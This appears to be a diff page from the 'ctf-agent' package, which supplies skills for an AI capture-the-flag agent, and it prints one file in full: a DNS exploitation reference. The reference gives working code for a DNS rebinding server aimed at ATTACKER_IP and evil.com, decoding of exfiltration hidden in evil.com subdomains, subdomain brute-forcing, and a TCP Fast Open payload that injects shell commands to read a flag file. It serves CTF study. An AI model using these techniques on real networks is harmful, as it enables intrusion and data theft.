ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,255 @@
1
+ # CTF Misc - DNS Exploitation Techniques
2
+
3
+ ## Table of Contents
4
+ - [EDNS Client Subnet (ECS) Spoofing](#edns-client-subnet-ecs-spoofing)
5
+ - [DNSSEC NSEC Walking](#dnssec-nsec-walking)
6
+ - [Incremental Zone Transfer (IXFR)](#incremental-zone-transfer-ixfr)
7
+ - [DNS Rebinding](#dns-rebinding)
8
+ - [DNS Tunneling / Exfiltration](#dns-tunneling--exfiltration)
9
+ - [DNS Enumeration Quick Reference](#dns-enumeration-quick-reference)
10
+ - [DNS Round-Robin A Record Enumeration (EKOPARTY 2017)](#dns-round-robin-a-record-enumeration-ekoparty-2017)
11
+ - [DNS Maze Traversal (hxp CTF 2017)](#dns-maze-traversal-hxp-ctf-2017)
12
+ - [TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)](#tcp-fast-open-syn-payload-command-injection-insomnihack-2019)
13
+
14
+ ---
15
+
16
+ ## EDNS Client Subnet (ECS) Spoofing
17
+ **Pattern (DragoNflieS, Nullcon 2026):** DNS server returns different records based on client IP. Spoof source using ECS option.
18
+
19
+ ```bash
20
+ # dig with ECS option
21
+ dig @52.59.124.14 -p 5053 flag.example.com TXT +subnet=10.13.37.1/24
22
+ ```
23
+
24
+ ```python
25
+ import dns.edns, dns.query, dns.message
26
+
27
+ q = dns.message.make_query("flag.example.com", "TXT", use_edns=True)
28
+ ecs = dns.edns.ECSOption("10.13.37.1", 24, 0) # Internal network subnet
29
+ q.use_edns(0, 0, 8192, options=[ecs])
30
+ r = dns.query.udp(q, "target_ip", port=5053, timeout=1.5)
31
+ for rrset in r.answer:
32
+ for rd in rrset:
33
+ print(b"".join(rd.strings).decode())
34
+ ```
35
+
36
+ **Key insight:** Try leet-speak subnets like `10.13.37.0/24` (1337), common internal ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).
37
+
38
+ ## DNSSEC NSEC Walking
39
+ **Pattern (DiNoS, Nullcon 2026):** NSEC records in DNSSEC zones reveal all domain names by chaining to the next name.
40
+
41
+ ```python
42
+ import subprocess, re
43
+
44
+ def walk_nsec(server, port, base_domain):
45
+ """Walk NSEC chain to enumerate entire zone."""
46
+ current = base_domain
47
+ visited = set()
48
+ records = []
49
+ while current not in visited:
50
+ visited.add(current)
51
+ out = subprocess.check_output(
52
+ ["dig", f"@{server}", "-p", str(port), "ANY", current, "+dnssec"],
53
+ text=True)
54
+ # Extract TXT records
55
+ for m in re.finditer(r'TXT\s+"([^"]*)"', out):
56
+ records.append((current, m.group(1)))
57
+ # Follow NSEC chain
58
+ m = re.search(r'NSEC\s+(\S+)', out)
59
+ if m:
60
+ current = m.group(1).rstrip('.')
61
+ else:
62
+ break
63
+ return records
64
+ ```
65
+
66
+ ## Incremental Zone Transfer (IXFR)
67
+ **Pattern (Zoney, Nullcon 2026):** When AXFR is blocked, IXFR from old serial reveals zone update history including deleted records.
68
+
69
+ ```bash
70
+ # AXFR blocked? Try IXFR from serial 0
71
+ dig @server -p 5054 flag.example.com IXFR=0
72
+ # Look for historical TXT records in the diff output
73
+ ```
74
+
75
+ **IXFR output format:** The diff shows pairs of SOA records bracketing additions/deletions. Records between the old SOA and new SOA were removed; records after new SOA were added. Deleted TXT records often contain flag fragments.
76
+
77
+ ---
78
+
79
+ ## DNS Rebinding
80
+
81
+ **Pattern:** Bypass same-origin or IP-based access controls by making a DNS name resolve to different IPs over time.
82
+
83
+ **How it works:**
84
+ 1. Attacker controls DNS for `evil.com` with very low TTL (e.g., 1 second)
85
+ 2. First resolution: `evil.com` -> attacker's IP (serves malicious JS)
86
+ 3. Second resolution: `evil.com` -> `127.0.0.1` (or internal IP)
87
+ 4. Browser's same-origin policy allows JS on `evil.com` to access the new IP
88
+
89
+ ```python
90
+ # Simple DNS rebinding server (Python + dnslib)
91
+ from dnslib import DNSRecord, RR, A
92
+ from dnslib.server import DNSServer, BaseResolver
93
+
94
+ class RebindResolver(BaseResolver):
95
+ def __init__(self):
96
+ self.count = {}
97
+
98
+ def resolve(self, request, handler):
99
+ qname = str(request.q.qname)
100
+ self.count[qname] = self.count.get(qname, 0) + 1
101
+ reply = request.reply()
102
+
103
+ if self.count[qname] % 2 == 1:
104
+ reply.add_answer(RR(qname, rdata=A("ATTACKER_IP"), ttl=1))
105
+ else:
106
+ reply.add_answer(RR(qname, rdata=A("127.0.0.1"), ttl=1))
107
+ return reply
108
+ ```
109
+
110
+ **Tools:** [rbndr.us](http://rbndr.us/) for quick rebinding without custom DNS, [singularity](https://github.com/nccgroup/singularity) for automated attacks.
111
+
112
+ ---
113
+
114
+ ## DNS Tunneling / Exfiltration
115
+
116
+ **Pattern:** Data exfiltrated via DNS queries (subdomains) or responses (TXT records).
117
+
118
+ **Detection in PCAPs:**
119
+ ```bash
120
+ # Extract DNS queries from pcap
121
+ tshark -r capture.pcap -Y "dns.qry.type == 1" \
122
+ -T fields -e dns.qry.name | sort -u
123
+
124
+ # Look for encoded subdomains (hex, base32, base64url)
125
+ tshark -r capture.pcap -Y "dns.qry.name contains '.evil.com'" \
126
+ -T fields -e dns.qry.name
127
+ ```
128
+
129
+ **Decoding exfiltrated data:**
130
+ ```python
131
+ import base64
132
+
133
+ # Subdomain-based exfil: data.chunk1.evil.com, data.chunk2.evil.com
134
+ queries = [...] # extracted DNS query names
135
+ chunks = [q.split('.')[0] for q in queries if q.endswith('.evil.com')]
136
+ decoded = base64.b32decode(''.join(chunks).upper() + '====')
137
+ print(decoded)
138
+ ```
139
+
140
+ **DNS-based C2 in PCAPs:**
141
+ ```bash
142
+ tshark -r capture.pcap -Y "dns.qry.type == 16" \
143
+ -T fields -e dns.qry.name -e dns.txt
144
+ ```
145
+
146
+ ---
147
+
148
+ ## DNS Round-Robin A Record Enumeration (EKOPARTY 2017)
149
+
150
+ **Pattern:** Domain configured with many rotating A records pointing to different backend IPs. Only some serve the relevant HTTP content. Query repeatedly to collect all IPs, then scan and make direct virtual-host requests.
151
+
152
+ ```bash
153
+ # Get all A records (query multiple times for round-robin)
154
+ for i in $(seq 1 100); do dig +short target.com A; done | sort -u > ips.txt
155
+
156
+ # Scan each IP for open port 80 and request with correct Host header
157
+ while read ip; do
158
+ response=$(curl -s -m 3 -H "Host: target.com" "http://$ip/")
159
+ if echo "$response" | grep -q "flag"; then
160
+ echo "Found on $ip"
161
+ echo "$response"
162
+ fi
163
+ done < ips.txt
164
+ ```
165
+
166
+ **Key insight:** DNS round-robin with heterogeneous backends can hide content across many IPs. A single DNS query may not return all records — query repeatedly (50-100 times) and deduplicate to exhaust the record set. Then make direct virtual-host requests (`-H "Host: target.com"`) to each IP for complete coverage.
167
+
168
+ ---
169
+
170
+ ## DNS Maze Traversal (hxp CTF 2017)
171
+
172
+ A maze encoded as DNS records: each UUID subdomain is a position, `dig -t txt` gives hints, CNAME records for directional subdomains give neighboring positions:
173
+
174
+ ```python
175
+ import dns.resolver
176
+ def get_neighbors(uuid, domain):
177
+ neighbors = {}
178
+ for direction in ['up', 'down', 'left', 'right']:
179
+ try:
180
+ answer = dns.resolver.resolve(f'{direction}.{uuid}.{domain}', 'CNAME')
181
+ neighbors[direction] = str(answer[0]).split('.')[0]
182
+ except: pass
183
+ return neighbors
184
+
185
+ # BFS to find exit
186
+ from collections import deque
187
+ queue = deque([(start_uuid, [start_uuid])])
188
+ visited = {start_uuid}
189
+ while queue:
190
+ current, path = queue.popleft()
191
+ txt = dns.resolver.resolve(f'{current}.{domain}', 'TXT')
192
+ if 'flag' in str(txt[0]):
193
+ print(f"Found flag at {current}: {txt[0]}")
194
+ break
195
+ for direction, next_uuid in get_neighbors(current, domain).items():
196
+ if next_uuid not in visited:
197
+ visited.add(next_uuid)
198
+ queue.append((next_uuid, path + [next_uuid]))
199
+ ```
200
+
201
+ **Key insight:** DNS records can encode arbitrary graph structures. Each node is a subdomain (UUID), edges are CNAME records at directional subdomains (up/down/left/right.UUID.domain), and node data is in TXT records. Standard graph search (BFS/DFS) solves these. Cache aggressively — DNS round-trip times dominate runtime. Use `dns.resolver` (dnspython) rather than subprocess `dig` calls for performance.
202
+
203
+ ---
204
+
205
+ ## DNS Enumeration Quick Reference
206
+
207
+ ```bash
208
+ # Standard zone transfer attempt
209
+ dig @ns.target.com target.com AXFR
210
+
211
+ # Brute-force subdomains
212
+ for sub in $(cat wordlist.txt); do
213
+ dig +short "$sub.target.com" && echo "$sub"
214
+ done
215
+
216
+ # Reverse DNS sweep
217
+ for i in $(seq 1 254); do
218
+ dig +short -x 10.0.0.$i
219
+ done
220
+
221
+ # Check for wildcard DNS
222
+ dig randomnonexistent.target.com
223
+ ```
224
+
225
+ ---
226
+
227
+ ## TCP Fast Open SYN-Payload Command Injection (Insomnihack 2019)
228
+
229
+ **Pattern:** A service uses TCP Fast Open (RFC 7413) and processes up to ~1460 bytes of *data carried in the initial SYN packet*, before the three-way handshake completes. If the handler passes those bytes to a command interpreter, you can invoke commands without ever establishing a full connection — ports that appear closed/filtered to standard TCP scans respond only to SYN+data. A common CTF hint for this technique is any mention of "RFC 741x", "fast open", or "knock with data".
230
+
231
+ ```python
232
+ # Linux kernel: enable client-side TFO: sysctl -w net.ipv4.tcp_fastopen=5
233
+ # Python sockets support TFO via MSG_FASTOPEN on the first sendto().
234
+ import socket
235
+ MSG_FASTOPEN = 0x20000000
236
+
237
+ def tfo_send(host, port, payload: bytes, timeout=3.0):
238
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
239
+ s.settimeout(timeout)
240
+ s.sendto(payload, MSG_FASTOPEN, (host, port))
241
+ try:
242
+ return s.recv(65536)
243
+ finally:
244
+ s.close()
245
+
246
+ # Scapy variant: raw SYN with payload (no kernel TFO cookie needed for testing)
247
+ # from scapy.all import IP, TCP, send
248
+ # send(IP(dst=host)/TCP(dport=port, flags='S', seq=1)/b'SyN ls -la')
249
+
250
+ print(tfo_send('10.13.37.99', 3737, b'SyN cat ./secret/me/not/flag.txt'))
251
+ ```
252
+
253
+ **Key insight:** Classic port scans (`nmap -sS`, `nc -vz`) don't carry SYN data, so TFO-only services look silent. When a challenge hints at RFC 7413 or "knock with data", send the payload *inside* the SYN (either via `MSG_FASTOPEN` or a crafted Scapy packet) and watch for a response. The prefix ("SyN" here) is often the service's auth token since it's visible in the first 3-4 bytes of any sniffed SYN.
254
+
255
+ **References:** Insomnihack 2019 — Net1, writeups 13988, 13989, 13990